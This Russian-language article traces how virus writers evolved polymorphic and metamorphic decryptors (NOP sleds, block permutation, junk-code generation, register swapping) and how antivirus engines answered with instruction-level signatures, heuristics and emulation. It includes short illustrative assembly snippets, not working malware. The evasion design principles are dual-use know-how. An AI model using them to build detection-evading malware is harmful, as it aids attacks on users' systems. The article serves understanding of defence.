Посмотрим, что получилось: большая часть вируса (зашифрованный буфер) целиком меняется от файла к файлу, и неизменным остается только небольшой декриптор. Этот декриптор фактически содержит несколько адресов (меняющихся от файла к файлу), ключ расшифрования (также изменяющийся) и собственно код расшифровщика. Антивирусу теперь пришлось поднапрячься, характерные для данного вируса паттерны укрыты внутри зашифрованного буфера, и кусок кода для сигнатуры теперь приходится искать в декрипторе, а он небольшой и содержит в себе гораздо меньше характерных участков кода и данных.

Такое упрощение задачи послужило причиной появления более продвинутых полиморфных движков, которые при заражении изменяют только код декриптора — ведь разобраться с небольшим куском кода гораздо проще, чем со всем payload-кодом. Радостные вирмейкеры и разработчики защит потирают руки и изучают способы спрятать маленький декриптор похитрее, а аверы и крэкеры чинят дизассемблеры, у которых после попыток дизассемблировать рандомные строки байт, на которые в коде присутствует JMP, едет крыша.

Эволюция вирусных движков

Теперь авер тратит немного больше времени на создание сигнатур, т.к. работать приходится с небольшим объемом кода, в котором меньше характерных участков. А вирмейкер озабочен лишь мутацией довольно небольшого декриптора с довольно простым внутренним алгоритмом, и задача скрыть его от детектора теперь кажется более реальной. Учитывая, что антивирус сравнивает сигнатуру по фиксированному смещению, сначала вирмейкер пытается различными способами сдвигать код декриптора и, соответственно, дискредитировать характерную сигнатуру внутри него.

NOP зоны или «авось пронесёт»

Первым, простым приёмом, который приехал в вирусы из эксплоитинга уязвимостей, являются NOP-зоны. Когда атакующему удалось успешно провести эксплойт какой-либо уязвимости, и заставить процессор совершить переход по заданному адресу, но при этом неизвестен точный адрес расположения shellcode в памяти, атакующий может сделать так: кучу пространства перед собственно кодом эксплойта заполнить NOP-ами:

addr1:	nop
		nop
		;... 				еще очень много NOP-ов 
		nop

addr2: 	jmp    addr3;		shellcode
		pop esi;			shellcode
		xor edx,edx		shellcode
		;... 

Теперь можно сделать переход «куда-то туда», в NOP-зону. Если известно только приблизительное расположение в памяти, этот прием позволяет успешно выполнить shellcode.

Так же беcхитростно можно поступить и с декриптором, просто при инфицировании помещаем его в разные места длинной NOP-строки. А кое-где (там, где это не разломает переходы) можно напихать этих NOP-ов прямо в код. В этом случае все будет корректно работать, но смещения характерной сигнатуры всегда будут разные. Разумеется смещения для инструкций переходов придется пересчитывать.
Слишком халявное решение не сильно напрягло авера, который просто добавил в базу признак «пропусти все NOP-ы при подсчете сигнатуры», но этот маленький шаг весьма примечателен тем, что впервые детектор начал рассматривать инструкции, а не байты. Но об этом позже.

Пермутация или «сложи как нибудь»

Размышляя, как бы дискредитировать сравнение по сигнатуре, не разломав код декриптора, вирмейкер приходит к идее пермутации. Пермутация — это перестановка блоков кода в каждом новом поколении. Код состоит из некоторого количества блоков, эти блоки переставляются местами в каждом новом поколении вируса, и связываются JMP-ами. Как всегда, на бумаге всё просто, а проблемы начинаются в реализации. Внутри блоков есть условные и безусловные переходы и вызовы функций, поэтому такие, логические блоки должны оставаться целыми. При этом, чем толще блоки, тем меньше вариативность получившегося декриптора, а чем меньше размер блока, тем больше приходится добавлять переходов, раздувая код декриптора, и тем сложнее соблюсти целостность. Для выравнивания блоков по длине можно, например, использовать NOP-зоны.

Вот пример алгоритма: в теле вируса храним уже готовый набор из блоков с разметкой (которая представляет собой номер блока и его длину). Затем берем рандомный блок, записываем его в буфер, и правим JMP в конце предыдущего блока. Дополняем результат JMP-ом на первый блок и буфер с рандомно переставленными блоками готов. В отличие от предыдущих игр, это уже достаточно серьезная серьёзная заявка, каждое новое поколение, пускай и за счет безусловных переходов, но все таки порождает, с точки зрения смещений, совершенно другой код. Вирмейкер с довольной улыбкой засыпает.

[block 1] [block 2] [block 3] […] [block N]
[jmp block 1] [block 2]
[jmp block 3]
[block 1]
[jmp block2]
[block 3]
[jmp block 4]
[…] [block 4]
[jmp block 5]

Просыпается авер. Трассируя код нескольких поколений вируса, он понимает, что в декрипторе имеет дело с перестановкой блоков, и надо дорабатывать детектор, по возможности не лишив его производительности. Он решает написать быстрый автоматический дизасcемблер, который умеет бежать по инструкциям, останавливаться только на инструкциях перехода, вычислять адрес перехода и переходить к анализу инструкций, находящихся по адресу перехода.

Теперь в антивирусной базе лежит следующее указание: начиная с точки входа шагай по инструкциям, совершая переходы соответственно встреченным JMP-ам, и, пройдя N инструкций, сравни сигнатуру. Если сигнатура находится в десятом блоке, придется пройти до десятого перехода, если внутри возможны условные переходы (JZ), то их условно можно считать двумя переходами — на следующую инструкцию и на адрес перехода, и, соответственно, разветвлять проход по инструкциям. Разумеется, никто не отменял и детектирование попроще, например если блоки у вируса фиксированной длины L и их N штук, можно просто провести N сравнений по сигнатуре по смещениям [0, (1 * L), (2 * L), …, ((N-1) * L)].

Оценим трудоёмкость процесса поиска с использованием дизассемблера. Дизассемблер минимально должен обеспечивать определение длины инструкции и преобразование VA (Vitual Address) to RVA (Relative Virtual Address) (адрес, указанный в JMP в смещение в файле). Определение длины инструкции — это в принципе достаточно быстрый алгоритм (обращение к элементу массива и вычисление следующего шага на основе флагов, записанных в соотв. элементе массива), а преобразование адреса это пара элементарных операций сложения адресов, на основе информации о том, какой секции принадлежит адрес. Плюс немного ума для определения дешевых трюков для замены банального JMP next_block_address, таких, например, как:

        XOR eax,eax; 
        JZ next_block_address;

        ; или
        PUSH next_block_address;
        RET;

        ; или
        MOV eax, next_block_address;
        CALL eax;

Это не сильно страшные в плане производительности алгоритмы, но, тем не менее, на вычисление CRC32 от короткой строки по заданному смещению это уже совсем не похоже, и сердитый тестировщик ругается на то, что детектор уже полночи жуёт тестовую базу и сожрал весь процессор.

Как это водится, если что-то, что включили, а оно тормозит, надо либо оптимизировать это, либо постараться не включать это без необходимости. Первый способ, увы, не катит — в простом дизассемблере много не наоптимизируешь, поэтому авер переходит к любимому месту всех антивирусов — эвристическому анализатору.

Эвристический анализатор или «вскрытие покажет»

В первой статье мы уже коснулись эвристического анализа — действительно, существуют признаки, которые с разной степенью достоверности могут говорить, что в файл был инжектирован код. И тогда, авер действительно выделил некоторые из них, которые были подозрительными, но никак не тянули на право заявлять о 100% факте зараженности файла. Тогда он их просто закомментировал, т.к. потратил на них немало времени и удалять их совсем было жаль. Теперь на их основе можно принять решение — запускать ли более тяжелый, использующий дизассемблирование, анализ файла, или нет.

Есть и еще одна проблема — т.к. эвристик реагирует на всё подозрительное, коммерческие защиты вызывают у него неподдельный интерес, поэтому аверу пришлось завести в базе сигнатур еще пару сотен «белых» под популярные навесные защиты — их трогать нельзя. Именно благодаря им мы все таки можем нормально запускать различные коммерческие софтины. А при написании собственного софта, использующего методы работы с исполняемым кодом, неплохо бы перед релизом прогнать все файлы своей программы на всех популярных антивирусах где нибудь на virustotal. За непопулярные можно сильно не волноваться, эвристический анализатор трудно утащить так же просто, как базы сигнатур и вряд ли анализатор малопопулярного антивируса будет так же крут, как то, который разрабатывался долгие годы.
Стоит, конечно упомянуть и о попытках вирмейкера замаскировать свой вирус под популярную защиту. Для этого, нужна собственно сигнатура, и он начинает разбирать антивирусную базу, чтобы понять, куда бы положить нужные байты, чтобы антивирус принял его вирус за защиту. Да и вообще, изготавливая следующую версию вируса, неплохо бы ознакомиться с кодом, который детектирует текущую. Так что антивирусные базы тоже являются объектами реверс-инжиниринга, а код детектора также подвергается анализу со стороны вирмейкеров.
Но вернёмся к нашему эвристическому анализатору, приведём несколько эвристических признаков:

  • Точка входа в секции открытой для записи(rwx). Открытая для записи, исполняемая секция, в которую сразу передается управление, с большой вероятностью свидетельствует о наличии самомодифицирующегося кода, такие секции используются в подавляющем большинстве случаев вирусами и программными защитами.
  • Инструкция перехода в точке входа. Особого смысла в размещении инструкции перехода в точке входа нет и такой признак указывает на наличие самомодифицирующегося кода в файле.
  • Точка входа во второй половине секции. Вирусы, использующие расширение секции, в большинстве случаев располагаются в конце секции. Это нетипично для нормальных файлов, поэтому такая ситуация является подозрительной.
  • Поломки в заголовке. Некоторые модификации заголовка после инфицирования оставляют файл работоспособным, но сам заголовок при этом содержит ошибки, которые линкер бы не допустил. Это тоже подозрительно.
  • Нестандартный формат некоторых служебных секций. В исполняемых файлах есть служебные секции, такие как, например, .ctors, .dtors, .fini и т.п. Особенности этих секций могут использоваться вирусами для заражения файла. Нарушение формата такой секции также является подозрительным.
  • … и еще сотня таких признаков

Таких признаков может быть множество, они имеют разную степень опасности, некоторые могут быть опасными лишь в комбинации с другими, но это мощнейший инструмент для принятия решения о необходимости более тщательного анализа и о факте заражения. Обойти эвристик весьма непросто (я имею в виду сделать так, чтобы он не выдал даже предупреждения). Это либо всякие платформозависимые решения, использующие особенности определенных компиляторов или фреймворков (типа перезаписи стандартных конструкторов или деструкторов), которые довольно быстро попадают в эвристическую базу, либо использование реально больших и сложных инфекторов, умеющих действительно качественно расположить код в файле.

Когда эвристические признаки говорят, что «файл 100% заражен», но тяжелый анализ ничего не нашел, антивирус пишет, что файл заражен вирусом с названием типа: «Generic Win32.Virus», или по-нашенски «Какой-то Win32 Вирус». Такие сообщения часто можно встретить на всяких кейгенах, лоадерах и т.п. В прошлой статье я уже говорил, что именно по этой причине в инструкциях по установке пиратского софта пишут «перед установкой отключите антивирус». Также я еще раз хочу обратить внимание на один из важнейших информационных активов антивирусных компаний — коллекцию исполняемых файлов достаточного объёма, чтобы на ней можно было бы тестировать анализатор, не боясь выпустить в мир версию, которая будет кидаться на легитимные файлы, которые туда обязательно добавляются. Обиженные кейгены и лоадеры наверняка возмущаются, что их туда не добавляют оперативно, но кто ж их, вирусню, слушает…

Итак, поработав над эвристиком авер приходит к следующему общему алгоритму детектирования:

  1. Проверить файл обычным сигнатурным поиском.
  2. Если успешно — считать файл заражённым.
  3. Если найдена «белая» защита — выйти молча.
  4. Проверить файл эвристическим анализатором.
  5. Если не найдено ни одного признака — выйти.
  6. Если найдены признаки достаточного веса, запустить анализ, использующий дизассемблирование.

При этом, если эвристические признаки достаточно серьёзны, чтобы говорить о заражении, считать файл зараженным вне зависимости от того, нашел анализатор что-либо, или нет.

Работы проделано много, и антивирус теперь, пусть и не идентифицируя угрозу, но с очень высоким процентом достоверности распознает факты инфицирования. Поддержка тестовой базы исполняемых файлов позволяет без опаски добавлять новые эвристические признаки, как только появляются новые алгоритмы инфицирования, и, наконец-то, антивирус умеет реагировать на угрозы до того, как новая зараза успевает распространиться. Надо отметить, что если раньше тестировать антивирус на всех исполняемых файлах в мире казалось совершенно нереальным, то сейчас сейчас база всех возможных в WWW исполняемых файлов уже не кажется фантастикой. Исполняемый файл штука, требущая серьезных временных затрат, и мир производит их не так уж и много. Кроме того тестирование на этой огромной базе файлов легко распараллеливается, поэтому вполне реально дрессировать эвристик на огромных массивах возможных данных. Счастливый авер пьёт своё какао и ложится спать…

«Мутанты наступают». Метаморфизм

Вирмейкер на этот раз решает не проводить манипуляции над уже существующим кодом, а генерировать новый код декриптора в каждом новом поколении. Это и есть метаморфизм — генерация нового кода в каждом новом поколении. В отличие от пермутации, в данном случае код не просто переставляет блоки внутри себя, а реально меняет своё содержание. В теории это должно означать безоговорочную победу вирмейкера над точным детектированием его вируса (эвристику-то никто не отменял). Теперь, сигнатура, сделанная для одного поколения вируса станет неактуальной для другого, а, даже если и продолжит детектировать вирус, то не даст гарантии работоспособности в следующем поколении.

Что же представляет собой метаморфный генератор? Основой для генерации нового поколения декриптора является некий «базовый код», причем на каком языке он написан — несущественно. Он хранится внутри зашифрованного тела вируса, поэтому может быть постоянным. Там же, в теле вируса, лежит движок, который на основе каждой инструкции этого «базового» кода каждый раз генерирует новый, исполняемый, код. Это очень напоминает компилятор — на входе некоторые семантические конструкции, на выходе готовый к исполнению процессором код. Еще подобная генерация исполняемого кода на основе базового кода происходит в виртуальных машинах — в момент, когда на определённой платформе виртуальная машина исполняет подготовленный байт-код. Именно в этот момент «базовый» байт-код превращается в конкретный исполняемый, который понимает данный процессор. И, если каждую новую платформу считать новым поколением кода, то совокупность виртуальных машин под разные платформы является метаморфным генератором.

Если вспомнить, что мы генерируем код декриптора, который максимально независим от того, где и когда он исполняется (не содержит системные вызовы, не обращается к сохраненному состоянию, не содержит сложные объекты), и работает с уже готовыми данными в памяти по известным смещениям, то задача кажется вполне себе разрешимой. На входе у генератора три основных параметра — адрес зашифрованного буфера, его длина и ключ. Ну, пусть будет еще seed для псевдослучайной генерации всяких констант, будущих ключей и т.п. Также декриптор содержит условные переходы, но только в пределах своего тела, что также немного упрощает задачу.

Генерация мусора

Вирмейкер решает подойти к вопросу, используя генерацию множества лишних инструкций, и «размешивать» истинный код декриптора в них. Пусть даже исходные инструкции останутся неизменными, в куче других инструкций вычленить необходимые для сравнения по сигнатуре будет очень проблематично. Несмотря на невзрачное название, генератор мусора является самой сложной и интересной частью метаморфного движка, ведь мусор или не мусор, а сгенерировать надо исполняемый код, который не будет ломаться сам и не будет портить основной код декриптора. В процессе «замешивания» необходимо будет:

— следить за смещениями характерных точек (адресов переходов, выходов из цикла и т.п.);
— следить, чтобы мусорный код не испортил необходимые регистры и регистр флагов.

Очень заманчивыми кандидатами на звание мусорных инструкций являются всякие MMX, SSE, floating-point инструкции, их можно легко сгенерировать сколько надо, главное — не трогать стек, не писать в регистры общего назначения и не ломать флаги, необходимые декриптору, и первый метаморфный код выглядит вот так:

	mov ecx, 100h; 			; декриптор
lbl0:	mov eax, [esi + ecx]			; декриптор
	xor eax, edi				; декриптор	
	mov [ebx], eax				; декриптор
	add ebx, 4h				; декриптор

	movd mm0,edx			; мусор
	movd mm1,eax			; мусор
	psubw mm1,mm0			; мусор

lbl1:	jcxz lbl2					; декриптор, выход из цикла

	psubw mm1,mm0			; мусор
	movd mm3,ecx			; мусор

	jmp lbl0					; декриптор, продолжение цикла
lbl2:	sub ebx, 100h				; декриптор

Авер не сильно волнуется, т.к. эвристик всё-таки продолжает ругаться на заражённые файлы (работая над генератором, вирмейкеру неохота возиться с серьёзным инфектором), но точно идентифицировать конкретный вирус уже не может. Поэтому тёмной ночью аверу снится инфектор, который не поддается эвристику, и его навязчивой идеей становится необходимость задетектить гада со 100% точностью. Чтобы точно идентифицировать вирус, детектор надо дорабатывать — теперь необходимо, начав с точки входа, шагать по инструкциям, пропускать все мусорные и добавлять в анализируемые только значимые, а это означает, что дизассемблер в детекторе начинает расти. Если вы помните про NOP зоны в абзаце про пермутацию, то пропуск NOP-ов при набивании буфера для сравнения по сигнатуре, фактически, и есть первый подход к сняряду — детектор пропускает NOP-ы, как мусорные инструкции. Теперь авер вместо сравнения с 0x90 (опкод NOP) использует дизассемблер (чем быстрее, тем лучше), который:

  1. Сдвигает указатель на начало следующей инструкции (дизассемблер длин).
  2. Говорит, является ли данная инструкция мусорной (NOP, MMX, SSE и т.п.).
  3. Значимые инструкции добавляет в анализируемый буфер.
  4. В случае безусловного перехода помечает адрес перехода, как следующий анализируемый.
  5. В случае условного перехода помечает обе возможных ветки кода для дальнейшего анализа.

Таким образом авер собирает буфер из инструкций, которые составляют основной код декриптора, и уже в нём может провести сравнение по сигнатуре. Это пока еще довольно быстрая процедура, но, программируя её, авер все больше волнуется: «всегда ли я смогу отличить мусорную инструкцию от значимой?» Вирмейкер, чувствуя это, дорабатывает свой генератор мусора. Теперь он зовет на помощь инструкции сохранения контекста: pushad/popad (положить или достать со стека все регистры общего назначения) и pushfd/popfd (то же самое для регистра флагов).

<pre>
	mov ecx, 100h; 		; декриптор
lbl0:	mov eax, [esi + ecx]		; декриптор
	xor eax, edi			; декриптор	
	mov [ebx], eax			; декриптор
	add ebx, 4h			; декриптор

	pushad				; сохраняем регистры
	pushfd				; сохраняем флаги
	mov eax, 12321h		; мусор

	xor edx,edx			; делаем что хотим
	sub eax, esi	 		; продолжаем мусорить
	popfd				; восстанавливаем флаги
	popad				; восстанавливаем регистры
 
lbl1:	jcxz lbl2				; декриптор, выход из цикла

	pushad				; сохраняем регистры
	pushfd				; сохраняем флаги
	shr ebx, 4				; мусор
	popfd				; восстанавливаем флаги
	popad				; восстанавливаем регистры

	jmp lbl0				; декриптор, продолжение цикла
lbl2:	sub ebx, 100h			; декриптор
</pre>

Теперь дизассемблер анализатора должен следить не только за тем какие инструкции он анализирует, но и находятся ли они в области «делаем что хотим». А это означает, что у дизассемблера появляются глобальные переменные, хранящие информацию о том, в каком месте программы мы находимся. Все становится еще интереснее. Ну а вообще, инструкции сохранения контекста для любого реверс-инженера как красная тряпка для быка — при анализе исполняемых файлов любая встреча с такой инструкцией означает «скорее ставь сюда breakpoint!».

Следующей итерацией в развитии метаморфного кода является генерация необходимого действия различными способами при помощи различных арифметических операций и всяких ассемблерных хитростей. Типа того:

«базовая инструкция» сгенерированный код 1 сгенерированный код 2
virt_mov eax, 10h mov eax, 20h;
sub eax, 10h;
mov edx, 10h;
mov eax, edx;
virt_mov ecx, 08h xor ecx,ecx;
add ecx, 08h;;
mov ecx, 04h;
add ecx, 04h;
virt_sub eax, ecx neg ecx;
add eax, ecx;
mov edx, ecx;
sub eax, edx;

Например, так можно работать со всеми константами: предположим в «базовом коде» лежат две инструкции «virt_mov edx, 10h» и «virt_mov ecx, 100h». Тогда генерируя новый код, движок выбирает случайную константу, например, «50h», и использует ее для работы со всеми абсолютными значениями, и «virt_mov edx, 10h» мутирует в «mov edx, 50h; sub edx, 40h;», a «virt_mov ecx, 100h» в «mov ecx, 50h; add ecx, B0h». Различные константы порождают различные байт-паттерны, что вынуждает авера добавлять в дизассемблер всё больше логики, реализовывать wildcards в сигнатурах по инструкциям, делая для инструкций что-то наподобие «mov eax, <wildcard-константа>; <skip мусор>; mov ecx, <wildcard-константа>». Это уже не очень просто, и уже не очень быстро, и вообще пахнет жареным…

После анализа кода детектора, помимо констант, для модификации данных в инструкциях, вирмейкер теперь хочет менять и весь набор регистров, используемый в декрипторе. Чтобы позволить себе такое, необходимо использовать разделение регистров — часть регистров являются рабочими для декриптора, а остальные — для генератора мусора. В этом случае генератор мусора не трогает рабочие регистры, а также не портит регистр флагов. Например, весь декриптор может работать только с eax, edx и esi. Тогда все порождённые генератором инструкции должны работать только с ebx,ecx, edi и не менять флаги. При этом, набор регистров должен изменяться в каждом новом поколении вируса.

. . . 
mov eax, 10h	; декриптор

mov ebx, 20h	; декриптор, ebx - мусорный регистр, его можно испортить командой xchg
xchg	edx, ebx	; для того, чтобы загрузить 20h в регистр edx  

xor ecx,ecx		; мусор
inc ebx		; мусор
add ecx,ebx		; мусор
add eax, edx	; декриптор
mov edx, [esi]	; декриптор
xchg edi,ebx	; мусор
cmp edx, 0		; декриптор
. . .			;

Генератор мусора, в общем-то, может менять и «запрещенные» регистры и флаги, но при этом возвращать их состояние обратно. В этом случае «истинные» инструкции декриптора можно внедрять не в любое место буфера с мусором, а только в те места, где значения в регистрах и флаги «чистые».

По-настоящему серьёзным испытанием становится изготовление сигнатуры по инструкциям, если используются различные ассемблерные хитрости, позволяющие реализовать необходимые действия при помощи совершенно непохожих паттернов, например:

«базовая инструкция» сгенерированный код 1 сгенерированный код 2
virt_push eax sub esp, 04h;
mov [esp], eax;
mov edx, esp;
sub edx, 04h;
mov [edx], eax;
virt_mov eax, ebx lea eax,[ebx]; push ebx;
xchng eax,ebx;
pop ebx;

Таких паттернов — огромное количество, при желании вы их легко найдёте. Теперь генератор становится намного сложней, т.к. сильно усложнаяется работа со смещениями, стеком, флагами и т.п. Но это еще один серьёзный шаг к идеальному генератору.
Итак, для порождения кода, в котором детектору будет максимально сложно утверждать, является ли текущая инструкция мусорной, необходим генератор, способный генерировать код со следующими свойствами:

  • содержать ходовые целочисленные инструкции с регулярными регистрами;
  • не использовать инструкции сохранения-восстановления контекста для отделения мусорного кода от истинного;
  • набор регистров как в мусорных блоках, так и в инструкциях декриптора в каждом поколении должен быть различным;
  • базовые инструкции декриптора должны превращаться в блоки инструкций различной длины;
  • байт-структура мутировавших инструкций должна быть максимально вариативной.

«Наш ответ Чемберлену». Эмуляция

Предположим, что вирмейкер через 42 месяца работы написал-таки почти идеальный метаморфный генератор, и детектор не может фильтровать инструкции по принципу «мусор-не мусор» и, соответственно, не может собрать достаточно данных для сравнения по сигнатуре. Но и у авера в запасе есть ответ, столь же сложный в реализации, но способный справиться с детектированием конкретного вируса использующего даже столь продвинутые методы метаморфизма. В процессе противостояния всё новым генераторам и изготовления всё более сложных дизассемблерных сигнатур дизассемблирующий движок дошёл до состояния, когда помимо текущей инструкции он хранит также и все окружение данной конкретной инструкции, следя за изменениями в регистрах, флагах, указателем стека и т.п. Критически взглянув на получившийся код авер вдруг понимает, что, фактически, запрограммировал софтовую модель процессора. Проходя по инструкциям его код обновляет переменные, соответствующие регистрам, следит за флагами, чтобы предсказать условный переход, отслеживает верхушку стека и т.п., т.е. фактически исполняет читаемый код виртуально. Метод детектирования, использующий эмулирующий исполнение движок так и называется — эмуляция.

Вспомним, как крекеры снимают навесную защиту исполняемых файлов, остановив ее на первой инструкции в момент, когда работоспособный распакованный код лежит в памяти (на Original Entry Point). Для понимания того, как эмулятор может помочь детектору добраться до вкусного, зашифрованного payload кода я коротко опишу один простой, но действенный способ остановить программу на OEP. Основан он на том, что в момент старта основной программы указатель стека должен быть установлен в своё изначальное значение, т.к. на стеке лежат данные, относящиеся к окружению программы, агрументы, переменные среды и т.п. Поэтому, можно быть уверенным, что после того, как защита отрботает, esp вернётся к тому значению, которое было установлено в начале. Крекер останавливает программу прямо в точке входа, запоминает значение указателя стека esp и ставит условный breakpoint, который остановит программу в тот момент, когда esp станет равным тому самому значению, которое было зафиксировано на момент старта. С большой вероятностью именно в этот момент он будет находиться на OEP (ну или в корне декриптора с точки зрения вложенности функций). Декриптор вируса (если он использует стек, конечно) также должен вернуть указатель стека на место, и код детектора, бегущий по инструкциям, может следить за этим указателем, заведя переменную cur_esp и изменяя её каждый раз, когда встречает инструкции, меняющие esp.

. . .			; base_esp = cur_esp;	
push eax		; cur_esp -= 4;
mov eax, 1h		; -
push edx		; cur_esp -= 4;
. . . 			; -
pop edx			; cur_esp += 4;
pop eax			; cur_esp += 4; (cur_esp == base_esp) !!!
. . .			; здесь возможно отработал декриптор или весь вирус

Как раз в этот момент, когда стек восстановлен, в памяти находится расшифрованое тело вируса, а в нем вкусные данные для постоянной сигнатуры. В случае с вирусом даже необязательно дожидаться всей распаковки, наверняка внутри декриптора все таки есть постоянные данные типа длины ключа, длины блока, смещения (которое зависит от расмещения секция в файле). Другими словами, если идти по декриптору инструкция за инструкцией, то каким бы ни был порождённый метаморфным генератором код, обязательно наступит момент, когда где-то в памяти или в регистрах будут лежать характерные для именно этого вируса данные. Поймав этот момент, можно определить что это за вирус. Также идя таким образом по инструкциям можно ожидать опасные действия — вызовы подозрительных API, запись в подозрительные файлы и т.п.

Остался пустячок — автоматизировать этот процесс. Как я уже упоминал, эмулятор — это софтовая модель процессора, исполняющего код нашего файла. Причем процессора-халявщика, потому что ему не надо писать в память, делать ввод-вывод и вообще, ему интересно только то, что позволит остановить программу в нужном месте. Он не умеет MMX, SSE и вообще, чем меньше он умеет (при этом выполняя свою функцию), тем лучше (т.к. халявщик он условный, и весьма тяжеловесен). Предположим, в какой-то момент декриптор кладет на стек строку «BANANAS», зная это авер может исполнять код на виртуальном процессоре постоянно проверяя верхушку стека на наличие этой строки.
Движок эмулятора имеет в себе переменные, соответствующие регистрам, флагам, память под эмуляцию стека и т.п. Я намеренно оставил блоки между pushad/popad, чтобы продемонстрировать, что эмулятор может пропускать в том числе и блоки кода, а не отдельные инструкции, т.к. эмуляция — процедура не из простых. Вот как оно примерно работает (пусть по адресу в ESI лежит этот самый «BANANAS\0»).

	mov ecx, 0h; 			; ecx_var = 0;
lbl0:	mov eax, [esi + ecx]		; esi и eax мы знаем (из прошлой эмуляции),
						; поэтому загрузим из правильного места в памяти
						; указатель на "BANANAS" 
	xor eax, edi			; eax_var = eax_var XOR edi_var;	
	push eax				; esp_var -= 4; *esp_var = eax_var;  
	
	pushad				; включаем режим безделья
	pushfd				; skip
	mov eax, 12321h		; skip


	xor edx,edx			; skip
	sub eax, esi	 		; skip
	popfd				; skip
	popad				; выключаем режим безделья

								; "качественные" мусорные инструкции
								; эмулятор не знает об этом
								; и вынужден исполнять их виртуально
	mov edx, 23h			; edx_var = 23h; 			
	or edx, eax;			; edx_var = edx_var OR eax_var; 
 
lbl1:	inc ecx				; ecx_var++;
	cmp ecx, 8h;			; if (ecx_var == 8) { goto lbl2; }:

	pushad				; включаем режим безделья
	pushfd				; skip
	shr ebx, 4				; skip
	popfd				; skip
	popad				; выключаем режим безделья

	jmp lbl0				; goto lbl0
lbl2:	sub ebx, 100h			; на стеке лежит "BANANAS" - попался!

Разумеется, эмуляция требует обработки множества специфических ситуаций, никаких ресурсов не хватит, чтобы честно эмулировать каждую инструкцию, и при этом не забывать выполнять необходимые проверки окружения. Поэтому эмуляторы детектируют циклы, передают части кода на исполнение реальному процессору, в общем там, как и в метаморфных генераторах, простора для творчества хоть отбавляй.
Итак, где-то в идеальном мире существует идеальный метаморфный генератор, порождающий абсолютно недетектируемый код. И там же, в противовес ему, существует идеальный эмулятор, на котором можно исполнить этот метаморфный код и продетектировать его. Есть ли еще развитие темы самомодифицирующегося кода?

Философские вопросы

Попробуем расширить тему модификации исполняемого кода в каждом новом поколении. Ведь именно изменчивость каждого нового поколения лежит в основе эволюции, поэтому, тема самомодифицирующегося кода в аспекте информационных технологий попахивает уже креационизмом. Кто знает, возможно мы постепенно создаем новую вселенную и новую жизнь?

Рассматривая шифрование буфера с основным кодом вируса мы говорили об изменении вируса с точки зрения байт — т.е. менялся набор байт, составляющих вирус. Это самый примитивный уровень, отдельный байт несет немного информации о свойствах вируса и изменениями на этом уровне не добиться вариативности поколений. Если проводить аналогию с развитием жизни, это напоминает многообразие простых химических соединений. Множество простых соединений, в различных комбинациях, вода, аммиак, углекислый газ, кислотные остатки и гидроксильные группы — в течение миллионов лет этот коктейль не мог породить ничего сложного. Но в конце концов удачные комбинации привели к появлению сложных органических молекул — основы жизни.

Рассматривая мутацию декриптора с помощью метаморфного генератора мы в общем рассматривали вирус уже как набор инструкций, а не байт. Это важный факт, означающий, что теперь мы работаем с информационными элементами следующего порядка. Теперь мы работаем с «обнуляем eax» вместо того, чтобы вдаваться в подробности, как мы это делаем (xor eax,eax или sub eax, eax) и все наши дизассемблеры-детекторы — это замена детектирования по байтам детектированием по цепочке инструкций. Заменяя одну инструкцию другой, мы меняем в том числе и набор байт, т.е. этот уровень включает в себя предыдущий, и, с точки зрения эволюции видов, он куда более продвинут. Изменением набора инструкций можно добиться более целенаправленной вариативности, нежели тупым псевдо-случайным «перемешиванием» байт. Биологическим аналогом, наверное, могли бы выступить аминокислоты, каждая из которых уже сама по себе способна порождать некоторое биологическое действие, при этом они целостны, умеют комбинироваться в более сложные структуры и несут в себе больший квант информации, нежели простейшие соединения.

Если продолжать аналогию, следующим уровнем, на котором вирус может изменяться от поколения к поколению, будут функции, т.е. сущности, состоящиие из набора инструкций. Это что-то типа огромной коллекции функций в нескольких экземплярах на каждый отдельный кусок функционала, например, множество функций, которые ищут файл для заражения, зашифровывают и расшифровывают тело вируса, инфицируют файл-жертву и т.п. В каждом новом поколении вируса набор используемых функций рекомбинируется, меняя весь внутренний функционал. Каждая функция написана отдельным способом, содержит в себе другой набор инструкций и байт, т.е. этот уровень также включает в себя все предыдущие. При возможности реализовать такую схему без архитектурных уязвимостей, такой вирус можно будет теоретически детектировать только детектором, умеющим работать с кодом также на уровне функций, т.е., фактически, оценивающим поведенческий сценарий вируса, а не отдельные инструкции. Не уверен, что сейчас существует что-то похожее на движок, умеющий мутировать на уровне функций, хотя в нескольких статьях читал про идеи, например, скачивания вирусом собственных частей с хоста вирмейкера и замещении собственного функционала, или генетических алгоритмах (когда два вируса меняются функциональными блоками между собой). Тем не менее, огромное количество различных высокоуровневых языков и фреймворков по идее должно способствовать появлению такого рода программ, но уже, как мне кажется, не в области вирусов (ниже расскажу почему). Наверное, биологической аналогией функций такого вируса могут быть белки. Внутриклеточные функции могут обеспечиваться различными типами белков, белки могут замещаться другими, при этом клетка останется целостной, и будет продолжать существование, несмотря на изменившиеся внутренние функции.

Ну а выше только мутация на уровне общего алгоритма программы. Например вирус, который сейчас детектируется антивирусом в следующем поколении становится вообще другой программой, хорошей и пушистой, и антивирусу его просто не нужно детектировать, хехе. Хотелось бы растечься мыслью, как в прошлом абзаце, но… Это фантастика.

Бабло побеждает зло

Ну и где это всё, спросите вы? Где тысячи страшных метаморфных генераторов, заполонивших компы пользователей, отправившие в психиатрические клиники сотни программистов антивирусных компаний, где жуткие вирусные эпидемии кладущие сеть на недели, где это всё? По моему мнению причин тут несколько.

Первая причина, техническая — это ограничения среды. До NT-шного ядра, NTFS и Linux на домашних PC коду вирусов жилось очень привольно — пиши куда хочешь, исполняйся где хочешь. Сейчас использовать зараженную систему намного сложней и не так уж интересно. Нет, я не хочу сказать, что всё потеряно, но о былом могуществе осталось только мечтать и с каждым годом ситуация всё хуже — права на файлы и процессы, подписи файлов, online-валидация запускаемого софта — все это практически убило «чистокровные» компьютерные вирусы. Но кто знает, по отчетам рынок мобильных зараз растет весьма активно, не означает ли это, что мобильным разработчикам придется пройти по тем же граблям, что и разработчикам больших ОС? Очень надеюсь, что это не так, и технологии защиты в полной мере перекочевали на мобильные устройства.

